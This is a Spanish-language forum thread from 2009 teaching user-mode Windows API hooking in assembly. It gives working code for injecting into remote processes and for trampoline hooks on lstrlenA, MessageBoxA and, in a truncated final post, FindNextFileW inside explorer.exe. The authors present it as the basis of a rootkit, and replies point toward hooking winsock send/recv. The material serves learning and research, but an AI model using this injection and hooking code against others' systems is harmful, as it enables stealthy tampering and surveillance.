Foro de elhacker.net

Seguridad Informática => Análisis y Diseño de Malware => Mensaje iniciado por: YST en 1 Agosto 2009, 05:27 am



Título: [Taller] Api Hooking en modo usuario
Publicado por: YST en 1 Agosto 2009, 05:27 am
Taller de Api hooking

Este texto se puede publicar libremente siempre que se mantenga el autor.
Autores:YST & Hacker_Zero


Conocimientos previos:
  • ASM (http://es.wikipedia.org/wiki/Lenguaje_ensamblador)        
  • Manejo minimo de las apis de windows
  • Formato PE [Metodo IAT patch]


Contenido
  • 1.-Introducción

  • 2.-Inyección de codigo
  • 2.1-Teoría
  • 2.2-Relización

  • 3.-Metodo de trampolín
  • 3.1-Teoría
  • 3.2-Relización

  • 4.-Metodo de IAT patch
  • 4.1-Teoría
  • 4.2-Relización

  • Despedida


1.Introducción

En este taller se explicara el api hooking, mediante 2 metodos distintos conocidos como el metodo trampolín y el metodo IAT patch .

El api hooking para quien no lo conosca es basicamente en modificar el comportamiento de una api por lo que queramos nosotros.

Todo el taller sera hecho usando el lenguaje ensamblador, a si que si no dominas el lenguaje aunque sea en un nivel basico no comprenderas todo el taller por eso recomiendo leer un poco sobre este lenguaje antes de leer el taller ;) .


2.Inyección de codigo


2.1Teoría

La inyección de codigo consiste en hacer que un codigo que nosotros programemos sea ejecutado por un proceso externo.

Para esto se crea un hilo con CreateRemoteThread (http://msdn.microsoft.com/en-us/library/ms682437%28VS.85%29.aspx) en el proceso externo teniendo su PID ( Process ID ) y se escriber el codigo inyectado en el proceso creando un espacio con VirtualAllocEx (http://msdn.microsoft.com/en-us/library/aa366890%28VS.85%29.aspx) y luego escribimos en el espacio generado con WriteProcessMemory  (http://msdn.microsoft.com/en-us/library/ms681674%28VS.85%29.aspx).



2.1Relización


Para darnos una idea de la inyección de codigo inyectaremos un codigo que muestre un mensaje mediante la api MessageBoxA (http://msdn.microsoft.com/en-us/library/ms645505%28VS.85%29.aspx) ;) .

Entonces inyectaremos la siguiente función
Código
  1. ;pGetProcAddress = Puntero a la api GetProcAddress
  2. proc FuncionInyectada,pGetProcAddress
  3. locals ; Definimos las variables locales
  4. BaseKernel32 dd ?    ;MZ de la kernel32.dll
  5. endl
  6. ;Leemos el PEB  para obtener la base del kernel
  7.     xor  eax, eax
  8.     add  eax,[fs:eax+30h]
  9.     mov  eax, [eax + 0ch]
  10.     mov  esi, [eax + 1ch]
  11.     lodsd
  12.     mov  eax, [eax + 08h]
  13.     mov [BaseKernel32],eax ;Guardamos en BaseKernel32 el MZ de la kernel32.dll
  14.  
  15.  stdcall [pGetProcAddress],[BaseKernel32],"LoadLibraryA" ; Sacamos la posición de LoadLibraryA en la kernel32.dll
  16.  stdcall eax,"user32.dll" ;Cargamos la user32.dll
  17.   stdcall [pGetProcAddress],eax,"MessageBoxA";Sacamos la posición de la api MessageBoxA
  18.   stdcall eax,0,0,0,0     ;Mostramos el mensaje
  19.   leave ;Terminamos
  20.     ret ;
  21.     endp
  22.     FinFuncion:

Para evitar lios los procesos donde trabajaremos seran creados por nosotros mismo mediante la api CreateProcessA (http://msdn.microsoft.com/en-us/library/ms682425%28VS.85%29.aspx) y en nuestro code usaremos la siguiente función que mediante esta api crea un proceso.
Código
  1. ;pExe = Nombre del exe
  2. ;PI = Puntero a una estructura de PROCESS_INFORMATION
  3. proc LanzarHilo,pExe,PI   ;Función que cre un proceso
  4.    invoke GlobalAlloc,GPTR,sizeof.STARTUPINFO
  5.    mov edi,eax
  6. invoke CreateProcessA,0,[pExe],0,0,0,CREATE_SUSPENDED,0,0,eax,[PI]  ;creamos el proceso
  7.    invoke GlobalFree,edi
  8.    ret
  9. endp  

El siguiente paso es crear un espacio en el proceso donde escribiremos nuestra función :P , para eso usaremos la api  VirtualAllocEx y igual que en la creación del proceso para comodidad nos aremosa una comoda función que use esta api y nos retorne la posición donde se puede escribir
Código
  1. ;pTamaño = Tamaño necesitado
  2. ;pPid = Id del proceso.
  3. proc ReservarEspacio,pTamaño,pPid        ;Función que crea un espacio en el proceso
  4.    invoke VirtualAllocEx,[pPid],0,[pTamaño],MEM_COMMIT+MEM_RESERVE,PAGE_EXECUTE_READWRITE
  5.    ret
  6. endp    

Luego de generar el espacio en el proceso , escribimos nuestra funcion con WriteProcessMemory y creamos el hilo remoto con CreateRemoteThread pasandole por el parametro la direccion del GetProcAddress que usamos en nuestra función inyectada, el codigo nos queda mas o menos a si.

Código
  1. ; FinFuncion-FuncionInyectada = tamaño de la funcion
  2. include 'win32ax.inc' ;Incluimos la libreria
  3. .code ; Declaramos la sección de codigo
  4. proc start ; Entry Point
  5.    locals
  6.        PI                      PROCESS_INFORMATION   ;Información del Proceso
  7.        DirFun                  dd ? ;Espacio donde escribiremos    nuestro codigo
  8.    endl
  9. stdcall LanzarHilo,"notepad.exe",addr PI ; Creamos el proceso donde inyectaremos , el proceso es de un notepad.
  10. stdcall ReservarEspacio,FinFuncion-FuncionInyectada,[PI.hProcess]     ;Creamos un espacio donde podremos esacribir
  11.  mov [DirFun],eax                    ;Guardamos la direccion donde podemos escribir en DirFun
  12.      invoke WriteProcessMemory,[PI.hProcess],[DirFun],FuncionInyectada,FinFuncion-FuncionInyectada,0  ;Escribimos nuestra funcion en el proceso.
  13.      invoke CreateRemoteThread,[PI.hProcess],0,0,[DirFun],[GetProcAddress],0,0  ;Creamos un hilo en el proceso pasandole por parametro ola direccion de GetProcAddress
  14. ret
  15. endp
  16. proc LanzarHilo,pExe,PI   ;Función que cre un proceso
  17.    invoke GlobalAlloc,GPTR,sizeof.STARTUPINFO
  18.    mov edi,eax
  19. invoke CreateProcessA,0,[pExe],0,0,0,CREATE_SUSPENDED,0,0,eax,[PI]  ;creamos el proceso
  20.    invoke GlobalFree,edi
  21.    ret
  22. endp
  23. ;pTamaño = Tamaño necesitado
  24. ;pPid = Id del proceso.
  25. proc ReservarEspacio,pTamaño,pPid        ;Función que crea un espacio en el proceso
  26.    invoke VirtualAllocEx,[pPid],0,[pTamaño],MEM_COMMIT+MEM_RESERVE,PAGE_EXECUTE_READWRITE
  27.    ret
  28. endp
  29. ;pGetProcAddress = Puntero a la api GetProcAddress
  30. proc FuncionInyectada,pGetProcAddress
  31. locals ; Definimos las variables locales
  32. BaseKernel32 dd ?    ;MZ de la kernel32.dll
  33. endl
  34. ;Leemos el PEB  para obtener la base del kernel
  35.     xor  eax, eax
  36.     add  eax,[fs:eax+30h]
  37.     mov  eax, [eax + 0ch]
  38.     mov  esi, [eax + 1ch]
  39.     lodsd
  40.     mov  eax, [eax + 08h]
  41.     mov [BaseKernel32],eax ;Guardamos en BaseKernel32 el MZ de la kernel32.dll
  42.  
  43.  stdcall [pGetProcAddress],[BaseKernel32],"LoadLibraryA" ; Sacamos la posición de LoadLibraryA en la kernel32.dll
  44.  stdcall eax,"user32.dll" ;Cargamos la user32.dll
  45.   stdcall [pGetProcAddress],eax,"MessageBoxA";Sacamos la posición de la api MessageBoxA
  46.   stdcall eax,0,0,0,0     ;Mostramos el mensaje
  47.   leave ;Terminamos
  48.     ret ;
  49.     endp
  50.     FinFuncion:
  51. .end start ; Declaramos el Import data y el Entry Point    
  52.  


2.Metodo de trampolín


2.1-Teoría

El metodo trampolín consiste en hacer que la api salte a nuestra función , esto se consigue cambiando los primeros bytes de la api por un codigo que salte a nuestra función ( por eso lo de trampolín) .

Para lograrlo se inyecta un codigo que saca el MZ de la dll mediante la api GetModuleHandle , se saca la dirección de la api con GetProcAddress y luego se le da permisos de escritura a los 6 primeros bytes con VirtualProtectEx .

Muchos se preguntaran por que a los 6 primeros bytes , esto es por que escribiremos un
Código
  1. push DireccionDeNuestraFuncion
  2. ret
que esto ocupa un total de 6 bytes ( 0x68 = PUSH[1byte] , 1 Dword la posicion y 0xC3 = Ret[1 byte] ) , para los que no sepan el ret hace algo que se podria describir como un "pop EIP" haciendo un salto a lo ultimo pusheado en la pila.

Para lograr hookear se necesita estar en su mismo espacio en memoria , para esto se inyectara de la manera anteriormente explicada el codigo que hace el hook.


2.2-Realización

Para explicar un poco mas la idea nos "autohookearemos" , la api que hookearmos en nosotros mismos es la api lstrlenA (http://msdn.microsoft.com/en-us/library/ms647492%28VS.85%29.aspx) de la libreria kernel32.dll y haremos que devuelva siempre 0.

Ya explicado lo que vamos a hacer nos ponemos en marcha  :P .


Lo primero que haremos sera sacar la posición de la libreria kernel32.dll usando la api GetModuleHandle (http://msdn.microsoft.com/en-us/library/ms647492%28VS.85%29.aspx)
, de la siguiente manera:

Código
  1. include 'win32ax.inc'     ;Incluimos la libreria
  2. .code                 ;Declaramos la sección de codigo .
  3. start:  ;Entry point
  4. invoke GetModuleHandle,"kernel32.dll"   ;Sacamos la posicion de la kernel32.dll
  5. ret ; salimos
  6. .end start ;Establecemos el EntryPoint y el
  7.  
  8.  

Luego obtendremos la dirección de la api lstrlenA( la que hoockearemos ) mediante la api GetProcAddress de la siguiente manera ;)

Código
  1. include 'win32ax.inc'     ;Incluimos la libreria
  2. .code                 ;Declaramos la sección de codigo .
  3. start:  ;Entry point
  4. invoke GetModuleHandle,"kernel32.dll"   ;Sacamos la posicion de la kernel32.dll
  5. invoke GetProcAddress,eax,"lstrlenA"    ;Sacamos la dirección de lstrlenA de la libreria kernel32.dll
  6. mov ebx,eax                             ;Guardamos la direccion de lstrlenA en ebx
  7. ret ; salimos
  8. .end start ;Establecemos el EntryPoint y el
  9.  
  10.  
  11.  

Luego le tenemos que dar permisos de escritura a los primeros 6 bytes de la api lstrlenA que tenemos guardada su posición previamente en ebx , entonces para esto usaremos la api VirtualProtectEx (http://msdn.microsoft.com/en-us/library/aa366899%28VS.85%29.aspx) de la siguiente manera

Código
  1. include 'win32ax.inc'     ;Incluimos la libreria
  2. .code                 ;Declaramos la sección de codigo .
  3. start:  ;Entry point
  4. invoke GetModuleHandle,"kernel32.dll"   ;Sacamos la posicion de la kernel32.dll
  5. invoke GetProcAddress,eax,"lstrlenA"    ;Sacamos la dirección de lstrlenA de la libreria kernel32.dll
  6. mov ebx,eax                             ;Guardamos la direccion de lstrlenA en ebx
  7.  
  8. lea edx,dword[ebp-4]
  9. invoke VirtualProtectEx,-1,ebx,6,PAGE_EXECUTE_READWRITE,edx ;Le damos permisos de escritura a los 6 primeros bytes de lstrlenA
  10.  
  11. ret ; salimos
  12. .end start ;Establecemos el EntryPoint y el
  13.  
  14.  
La fuunción con que remplazaremos la lstrlenA sera la siguiente
Código
  1. ;Nuestra función que remplazara a la apì lstrlenA , esta funcion siempre devuelve 0.
  2. proc MylstrlenA,p1
  3. mov eax,0
  4. ret
  5. endp  
  6.  

Ya teniendo la función y permisos de escritura , escribiremos nuestro codigo que saltara hacia nuestra función quedando de la siguiente manera nuestro code
Código
  1. include 'win32ax.inc'     ;Incluimos la libreria
  2. .code                 ;Declaramos la sección de codigo .
  3. start:  ;Entry point
  4. invoke GetModuleHandle,"kernel32.dll"   ;Sacamos la posicion de la kernel32.dll
  5. invoke GetProcAddress,eax,"lstrlenA"    ;Sacamos la dirección de lstrlenA de la libreria kernel32.dll
  6. mov ebx,eax                             ;Guardamos la direccion de lstrlenA en ebx
  7.  
  8. lea edx,dword[ebp-4]
  9. invoke VirtualProtectEx,-1,ebx,6,PAGE_EXECUTE_READWRITE,edx ;Le damos permisos de escritura a los 6 primeros bytes de lstrlenA
  10.  
  11.    mov byte[ebx],0x68   ;Escribimos un PUSH en el primer byte de lstrlenA
  12.    inc ebx   ;Nos vamos al segundo byte de lstrlenA
  13.    mov dword[ebx],MylstrlenA  ;escribimos la direccion de nuestra funcion ( Estaria quedan un PUSH MylstrlenA )
  14.    add ebx,4         ;Nos saltamos 4 bytes(1 dword)
  15.    mov byte[ebx],0xC3;Escribimos el ret
  16. ret ; salimos
  17. ;Nuestra función que remplazara a la apì lstrlenA , esta funcion siempre devuelve 0.
  18. proc MylstrlenA,p1
  19. mov eax,0
  20. ret
  21. endp
  22. .end start ;Establecemos el EntryPoint y el import data                                                
  23.  

En este codigo la api ya estaria hookeada , para comprobarlo mostraremos un MessageBox con lo que devuelve ( Si no devuelve 0 daria error el MessageBoxA ).

Código
  1. include 'win32ax.inc'     ;Incluimos la libreria
  2. .code                 ;Declaramos la sección de codigo .
  3. start:  ;Entry point
  4. invoke GetModuleHandle,"kernel32.dll"   ;Sacamos la posicion de la kernel32.dll
  5. invoke GetProcAddress,eax,"lstrlenA"    ;Sacamos la dirección de lstrlenA de la libreria kernel32.dll
  6. mov ebx,eax                             ;Guardamos la direccion de lstrlenA en ebx
  7.  
  8. lea edx,dword[ebp-4]
  9. invoke VirtualProtectEx,-1,ebx,6,PAGE_EXECUTE_READWRITE,edx ;Le damos permisos de escritura a los 6 primeros bytes de lstrlenA
  10.  
  11.    mov byte[ebx],0x68   ;Escribimos un PUSH en el primer byte de lstrlenA
  12.    inc ebx   ;Nos vamos al segundo byte de lstrlenA
  13.    mov dword[ebx],MylstrlenA  ;escribimos la direccion de nuestra funcion ( Estaria quedan un PUSH MylstrlenA )
  14.    add ebx,4         ;Nos saltamos 4 bytes(1 dword)
  15.    mov byte[ebx],0xC3;Escribimos el ret
  16.    invoke lstrlen,"Hola" ; Esto deberia devolver 4
  17.    invoke MessageBox,0,eax,0,0 ; Mostramos lop que devuelve , si se muestra el MessageBox LO LOGRAMOS!!
  18. ret ; salimos
  19. ;Nuestra función que remplazara a la apì lstrlenA , esta funcion siempre devuelve 0.
  20. proc MylstrlenA,p1
  21. mov eax,0
  22. ret
  23. endp
  24. .end start ;Establecemos el EntryPoint y el import data
  25.  
  26.  

En la idea la unica diferencia entre el Autohook que hicimos y un Hook a otro proceso es que tenemos que inyectar nuestro codigo que hace hook en el proceso  ;D.


Ya sabiendo inyectar y teniendo la idea de como se hace el API Hook, vamos a hacer algo más divertido, inyectaremos nuestro código en otro proceso para modificar su comportamiento, en éste caso Hookearemos MessageBoxA. Para ésto será necesario crear un buffer con los 5 bytes (en éste caso) que pisamos en la API, para así, cuando queramos llamar a la API original poder hacerlo sin que la llamada caiga tambien en nuestra función  :xD. Con una imagen queda más claro  :P:

(http://i360.photobucket.com/albums/oo45/eduhack/Trampolin.png)
Por qué 5 bytes? Porque a la hora de modificar los bytes del comienzo de la Api, no podemos cortar instrucciones, y en el caso de Messagebox, la Api comienza por:

Código
  1.        mov edi,edi
  2.         push ebp
  3.         mov ebp,esp
  4.  

Eso ocupa exactamente 5 bytes, si lo reemplazamos por un jmp dirección, no cortaríamos ninguna instrucción. Pero ésto no es una constante, no todas las apis empiezan por lo mismo, por lo que en cada Api que vayamos a hookear, necesitaremos echar mano del debuger para fijarnos de no cortar ningúna instrucción  ;).

MANOS A LA OBRA!

Lo primero será inyectar nuestra función en el proceso que queremos Hookear:

Código
  1. proc start
  2.    locals
  3.        ProcessName             db                              "MessageBoxA.exe",0
  4.    endl
  5.  
  6.    stdcall Inyectar,addr ProcessName,FINFuncion-FuncionInyectada,FuncionInyectada,[GetProcAddress]
  7.    cmp eax,-1
  8.    jne salir
  9.  
  10.    invoke MessageBoxA,0,"No se encontró el proceso!",0,0
  11.  
  12.    salir:
  13.    invoke ExitProcess,0
  14. endp
  15.  
  16. proc Inyectar,ProcessName,Tamaño,Funcion,Datos
  17.    locals
  18.        struct PROCESSENTRY32
  19.            dwSize                  dd ?
  20.            cntUsage                dd ?
  21.            th32ProcessID           dd ?
  22.            th32DefaultHeapID       dd ?
  23.            th32ModuleID            dd ?
  24.            cntThreads              dd ?
  25.            th32ParentProcessID     dd ?
  26.            pcPriClassBase          dd ?
  27.            dwFlags                 dd ?
  28.            szExeFile               rb MAX_PATH
  29.        ends
  30.  
  31.        pInfo                   PROCESSENTRY32                  ?
  32.        Handle                  dd                              ?
  33.        PID                     dd                              ?
  34.        DirFuncion              dd                              ?
  35.        hProcess                dd                              ?
  36.    endl
  37.  
  38.    ;Obtenemos el PID del proceso
  39.    invoke CreateToolhelp32Snapshot,0x00000002,0
  40.    mov [Handle],eax
  41.  
  42.     mov eax,sizeof.PROCESSENTRY32
  43.     mov [pInfo.dwSize], eax
  44.  
  45.    BuclePid:
  46.        invoke Process32Next,[Handle],addr pInfo
  47.        cmp eax,0
  48.        je FinProcBuclePID ;No hay más procesos
  49.        invoke lstrcmp,addr pInfo.szExeFile,[ProcessName]
  50.        cmp eax,0
  51.        jne BuclePid
  52.        jmp FinBuclePid
  53.  
  54.    FinProcBuclePID:
  55.    invoke CloseHandle,[Handle]
  56.    mov eax,-1
  57.    ret
  58.  
  59.    FinBuclePid:
  60.    invoke CloseHandle,[Handle]
  61.    push [pInfo.th32ProcessID]
  62.    pop [PID]
  63.  
  64.    ;Lazamos el proceso
  65.    invoke OpenProcess,PROCESS_CREATE_THREAD+PROCESS_VM_OPERATION+PROCESS_VM_WRITE,FALSE,[PID]
  66.    mov [hProcess],eax
  67.  
  68.    ;Reservamos espacio en el proceso
  69.    invoke VirtualAllocEx,[hProcess],0,[Tamaño],MEM_COMMIT+MEM_RESERVE,PAGE_EXECUTE_READWRITE
  70.    mov [DirFuncion],eax
  71.  
  72.    ;Escribimos los datos en memoria
  73.    invoke WriteProcessMemory,[hProcess],[DirFuncion],[Funcion],[Tamaño],0
  74.  
  75.    ;Creamos el hilo
  76.    invoke CreateRemoteThread,[hProcess],0,0,[DirFuncion],[GetProcAddress],0,0
  77.  
  78.    ret
  79. endp                    
  80.  

No explicaré el código de inyección, con los comentarios es más que suficiente, ya lo explicó mi compañero YST y se supone que dominamos la inyección y queremos hacer un Rootkit  ;D.

Ahora lo interesante, la función que inyectaremos:

Código
  1. proc FuncionInyectada,pGetProcAddress
  2.  
  3.     locals
  4.         BaseKernel32                   dd               ?
  5.         OriginalProtection             dd               ?
  6.     endl
  7.  
  8.     ;Leemos el PEB  para obtener la base de KERNEL32.DLL
  9.     xor  eax, eax
  10.     add  eax,[fs:eax+30h]
  11.     mov  eax, [eax + 0ch]
  12.     mov  esi, [eax + 1ch]
  13.     lodsd
  14.     mov  eax, [eax + 08h]
  15.     mov [BaseKernel32],eax
  16.  
  17.     ;Obtenemos la dirección de MessageBoxA
  18.     stdcall [pGetProcAddress],[BaseKernel32],"GetModuleHandleA"
  19.     mov edi,eax
  20.     stdcall edi,"USER32.DLL"
  21.     stdcall [pGetProcAddress],eax,'MessageBoxA'
  22.  
  23.     ;ebx contendrá la dirección de la Api MessageBoxA
  24.     mov ebx,eax
  25.  
  26.     ;Obtenemos la dirección de VirtualProtect y damos permisos
  27.     ;de lectura, escritura y ejecución a los 5 primeros bytes de la Api
  28.     stdcall [pGetProcAddress],[BaseKernel32],"VirtualProtect"
  29.     stdcall eax,ebx,5,PAGE_EXECUTE_READWRITE,addr OriginalProtection
  30.  
  31.     ;Calculamos el delta offset para saber en que
  32.     ;dirección nos estamos ejecutando
  33.     call delta
  34.     delta:
  35.     pop edx
  36.     sub edx,delta  ;edx=delta
  37.  
  38.     ;Lo guardamos en la pila para no perderlo
  39.     push edx
  40.  
  41.     ;Mostramos un Messagebox para indicar que nos inyectamos correctamete en el proceso
  42.     ;(Obtenemos la dirección de las variables a partir del delta offset)
  43.     mov eax,edx
  44.     add edx,RMensaje             ;Obtenemos la direccion de las variables RMensaje y msgTitulo
  45.     add eax,msgTitulo             ;a partir del delta offset
  46.     stdcall ebx,0,edx,eax,0    ;ebx=puntero MessageBoxA
  47.  
  48.     ;Recuperamos el valor de delta de la pila y lo volvemos a guardar
  49.     pop edx
  50.     push edx
  51.  
  52.     ;Guardamos la dirección de MessageBoxA en la variable dirMessageBoxA
  53.     add edx,dirMessageBoxA
  54.     mov dword[edx],ebx
  55.  
  56.     pop edx  ;Recuparamos el valor de delta offset de la pila
  57.  
  58.     ;Modificamos los 5 primeros bytes de la API por un jmp a FuncionHook
  59.     mov byte[ebx],0xE9   ;0xE9=jmp
  60.     inc ebx
  61.     mov ecx,FuncionHook
  62.     add ecx,edx
  63.     sub ecx,ebx
  64.     sub ecx,4
  65.     mov dword[ebx],ecx   ;la dirección a la que saltará
  66.  
  67.     ret          ;Terminamos, ya hemos modificado el principio de la api,
  68.                   ;cuando el programa llame a MessageBoxA, saltará a FuncionHook
  69.  
  70. ;--------------------------------------------------------------------------------------------------------------------------------------------
  71.  
  72.     ;Contiene los 5 primeros bytes de la Api MessageBoxA y una rutina para saltar a MessageBox+5
  73.     ApiOriginal:
  74.         ;edx=delta
  75.         mov edi,edi         ; Primeros bytes de la api MessageBoxA
  76.         push ebp            ; que pisamos poniendo nuestro salto,
  77.         mov ebp,esp       ;
  78.  
  79.         add edx,dirMessageBoxA  ;Obtenemos la dirección de MessageBoxA leyendo
  80.         mov eax,dword[edx]       ;la variable dirMessageBoxA y la guardamos en eax
  81.         add eax,5           ;Nos desplazamos 5 bytes
  82.         jmp eax             ;Saltamos a MessageBoxA+5
  83.  
  84. ;--------------------------------------------------------------------------------------------------------------------------------------------
  85.  
  86.     ;Función a la que salta el programa cuando se llama a la API hookeada
  87.     FuncionHook:
  88.         ;Calculamos el delta offset
  89.         call delta2
  90.         delta2:
  91.         pop edx
  92.         sub edx,delta2  ;edx=delta
  93.  
  94.         ;Limpiamos la pila de los parametros originales
  95.         pop eax
  96.         mov ebx,eax ;Guardamos la dirección de retorno en ebx
  97.         pop eax    
  98.         pop eax
  99.         pop eax
  100.         pop eax
  101.  
  102.         push edx edx   ;Copiamos el delta a eax y ecx
  103.         pop ecx eax
  104.  
  105.         ;pusheamos nuestros parámetros obteniendo la dirección de las variables
  106.         ;a partir del delta offset
  107.         push 0
  108.         add ecx,msgTitulo
  109.         push ecx
  110.         add eax,ApiHookedMensaje
  111.         push eax
  112.         push 0
  113.  
  114.         ;Pusheamos la dirección de retorno
  115.         push ebx
  116.  
  117.         ;Obtenemos la dirección de ApiOriginal
  118.         mov ecx,edx
  119.         add ecx,ApiOriginal
  120.  
  121.         ;Saltamos a ApiOriginal
  122.         jmp ecx
  123.  
  124. ;-------------------------------------------------------------------------------------------------------------------------------------------
  125.  
  126.         RMensaje                       db               "Soy el RootKit, me inyecté! :D!",0
  127.         ApiHookedMensaje               db               "Soy un MessageBoxA Hookeado! :D!",0
  128.         msgTitulo                      db               "xD",0
  129.         dirMessageBoxA                 dd               ?
  130. endp                
  131.  

Con eso tendríamos nuestro Rootkit terminado usando el método trampolín:

Éste es el ejecutable Llamando a MessageboxA:
(http://i360.photobucket.com/albums/oo45/eduhack/1-1.png)

Ejecutamos el Rootkit:
(http://i360.photobucket.com/albums/oo45/eduhack/2-1.png)

Y cuando el programa hace MessageBoxa(0,"No estoy Hookeado :( !",":(",0) sucede ésto:
(http://i360.photobucket.com/albums/oo45/eduhack/3-1.png)

Subo el código fuente completo: Descargar (http://www.megaupload.com/?d=YDN28A0W)


En construcción

(http://i.creativecommons.org/l/by-nc-nd/2.5/es/88x31.png)


Título: Re: [Taller]Api Hook
Publicado por: [Zero] en 1 Agosto 2009, 13:31 pm
Bravo amigo  ;-). Muy bueno, si señor.

Lo del push ret que te dije no es buena idea, porque muchas apis si pisas 5 bytes (con un jmp) no cortas instrucciones en cambio con el push ret ya pisas un byte de más (en la mayoría de apis). Con el jmp ya queda clavado  y luego si quieres crear el buffer para llamar a la api original no tienes que copiar tantos bytes.

Saludos  ;-)


Título: Re: [Taller]Api Hook
Publicado por: Karcrack en 1 Agosto 2009, 14:52 pm
Muy bueno, te pongo chincheta ;D Espero verlo acabado pronto ;)

Como dice Hacker_Zero ves con cuidado de no pillar instrucciones a medias...sino habrá un error muy feo :-\


Título: Re: [Taller]Api Hook
Publicado por: h0oke en 1 Agosto 2009, 14:54 pm
Muy buen, hasta que ganó chincheta.

Seguiré el tallercito YST  ;)

Éxitos!!!


Título: Re: [Taller]Api Hook
Publicado por: YST en 1 Agosto 2009, 20:13 pm
Muy bueno, te pongo chincheta ;D Espero verlo acabado pronto ;)

Como dice Hacker_Zero ves con cuidado de no pillar instrucciones a medias...sino habrá un error muy feo :-\

Muchas gracias karccrack , en la noche lo continuo :P


Título: Re: [Taller]Api Hook
Publicado por: cassiani en 1 Agosto 2009, 20:42 pm
Hasta que te animaste  :silbar:


Título: Re: [Taller] Api Hooking en modo usuario
Publicado por: LixKeÜ en 7 Agosto 2009, 14:54 pm
 muy bueno me gustaría aplicar esto ala api del winsock  :rolleyes: ever si me sale algo :D


Título: Re: [Taller] Api Hooking en modo usuario
Publicado por: [Zero] en 7 Agosto 2009, 15:28 pm
muy bueno me gustaría aplicar esto ala api del winsock  :rolleyes: ever si me sale algo :D

Googleando puedes encontrar código del MsnNightmare de Mazard que hace hook a send y recv en C  ;D.

Saludos  ;)


Título: Re: [Taller] Api Hooking en modo usuario
Publicado por: Jaixon Jax en 7 Agosto 2009, 16:13 pm
 ;D
[
Citar
hook a send y recv en C
 

  Jeje estuve tanto tiempo buscando estas funciones pero tengo entendido que estas funciones no son apis sino mudulos de la libreria winsock ? y si son api me entero ? si pudieras Hacker Zero extenderias mas tu explicacion sino  :rolleyes: me podrias pasar el link del manual de mazard jeje.  :laugh:


Título: Re: [Taller] Api Hooking en modo usuario
Publicado por: Karcrack en 7 Agosto 2009, 20:16 pm
Si que son APIs... APIs de la libreria de Winsock(ws2_32.dll/wsock32.dll)...

Aqui tienes el enlace al codigo:
Código:
http://mzrdzoneforo.tomahost.org/index.php?topic=30.0


Título: Re: [Taller] Api Hooking en modo usuario
Publicado por: spartanla90 en 12 Agosto 2009, 02:42 am
wow a ver si se podre hacer algo aunk sea un poco parecido :xD


Título: Re: [Taller] Api Hooking en modo usuario
Publicado por: Erik# en 24 Agosto 2009, 20:31 pm
Grande YST :)


Título: Re: [Taller] Api Hooking en modo usuario
Publicado por: YST en 28 Agosto 2009, 20:35 pm
Otro ejemplo de api Hook que muestra en un MessageBox los archivos mediante los vea el explorer.exe
Código
  1. ; FinFuncion-FuncionInyectada = tamaño de la funcion
  2. include 'win32ax.inc' ;Incluimos la libreria
  3.  
  4. .data ; Declaramos la sección de codigo
  5. proc start ; Entry Point
  6.    locals
  7.    PID dd ?
  8.      lProc dd ?
  9.        DirFun                  dd ? ;Espacio donde escribiremos    nuestro codigo
  10.    endl
  11.     invoke FindWindowEx,0,0,"Progman",NULL
  12.     invoke GetWindowThreadProcessId,eax,addr PID
  13.    invoke OpenProcess,PROCESS_CREATE_THREAD+PROCESS_VM_OPERATION+PROCESS_VM_WRITE,FALSE,[PID]
  14.     mov [lProc],eax
  15. stdcall ReservarEspacio,FinFuncion-FuncionInyectada,[lProc]
  16.  mov [DirFun],eax
  17.      invoke WriteProcessMemory,[lProc],[DirFun],FuncionInyectada,FinFuncion-FuncionInyectada,0
  18.      invoke GetModuleHandle,'kernel32.dll'
  19.      invoke CreateRemoteThread,[lProc],0,0,[DirFun],eax,0,0
  20. ret
  21. endp
  22.  
  23.  
  24. proc ReservarEspacio,pTamaño,pPid
  25.    invoke VirtualAllocEx,[pPid],0,[pTamaño],MEM_COMMIT+MEM_RESERVE,PAGE_EXECUTE_READWRITE
  26.    ret
  27. endp
  28.  
  29. proc FuncionInyectada,pMZ
  30. locals
  31. pGetProcAddress dd ?
  32. lDelta dd ?
  33. lGetMDA DD ?
  34. lWSOCK32 dd ?
  35. lRMM dd ?
  36. lDD dd ?
  37. LVRPX dd ?
  38. lBytes dd ?
  39. lSend dd ?
  40. endl
  41.     call delta
  42.     delta:
  43.     pop edx
  44.     sub edx,delta
  45.     mov [lDelta],edx
  46.     mov eax,[lDelta]
  47.     add eax,GetAddressFunction
  48.     mov [pGetProcAddress],eax
  49.        stdcall [pGetProcAddress],[pMZ],"GetModuleHandleA",[lDelta]
  50.     mov [lGetMDA],eax
  51.     stdcall [lGetMDA],"kernel32.dll"
  52.     mov [lWSOCK32],eax
  53.       stdcall [pGetProcAddress],[pMZ],"GetProcAddress",[lDelta]
  54.     stdcall eax,[lWSOCK32],"FindNextFileW"
  55.     mov [lSend],eax
  56.   mov ebx,cRtlMoveMemory
  57.   add ebx,[lDelta]
  58.   mov [lRMM],ebx
  59.   mov edi,BytesOriginales
  60.   add edi,[lDelta]
  61.  
  62.  
  63.      stdcall [pGetProcAddress],[pMZ],"VirtualProtectEx",[lDelta]
  64.      mov [LVRPX],eax
  65.   mov edi,BytesOriginales
  66.   add edi,[lDelta]
  67.         lea edx,[lDD]
  68.         mov [lBytes],edi
  69. stdcall [LVRPX],-1,[lBytes],40,PAGE_EXECUTE_READWRITE,edx
  70.  
  71.     stdcall [lRMM],[lBytes],[lSend],40
  72.              lea edx,[lDD]
  73. stdcall [LVRPX],-1,[lSend],20,PAGE_EXECUTE_READWRITE,edx
  74. mov eax,[lSend]
  75. mov byte[eax],0x68
  76. inc eax
  77. mov dword[eax],MiSend
  78. mov edx,[lDelta]
  79. add dword[eax] ,edx
  80. add eax,4
  81. mov byte[eax],0xC3
  82. mov eax,DireecionAPI
  83. add eax,[lDelta]
  84. mov edi,[lSend]
  85. mov [eax],edi
  86.       stdcall [pGetProcAddress],[pMZ],"GetModuleHandleA",[lDelta]
  87.     mov [lGetMDA],eax
  88.     stdcall [lGetMDA],"user32.dll"
  89.          stdcall [pGetProcAddress],eax,"MessageBoxW",[lDelta]
  90. mov edi, eax
  91. mov eax,DireccionMes
  92. add eax,[lDelta]
  93. mov [eax],edi
  94.     stdcall [pGetProcAddress],[pMZ],"Sleep",[lDelta]
  95.  stdcall eax,-1
  96.     endp
  97.     proc GetAddressFunction,pMZ,pApi,lDelta
  98.     locals
  99.     lDelta2 dd ?
  100.     endl
  101. ;EDI = MZ
  102. ;Expot data = EBX
  103. ;Esi = Cantidad de funciones
  104. ;edx = AddressOfNames
  105. ;ECX = Propositos generales
  106. mov edi, [pMZ]
  107. mov ebx,[edi+0x3c]
  108. mov ebx,[ebx+edi+0x78]
  109. add ebx,edi
  110. mov esi,[0x18+ebx]
  111. mov edx, [0x20+ebx]
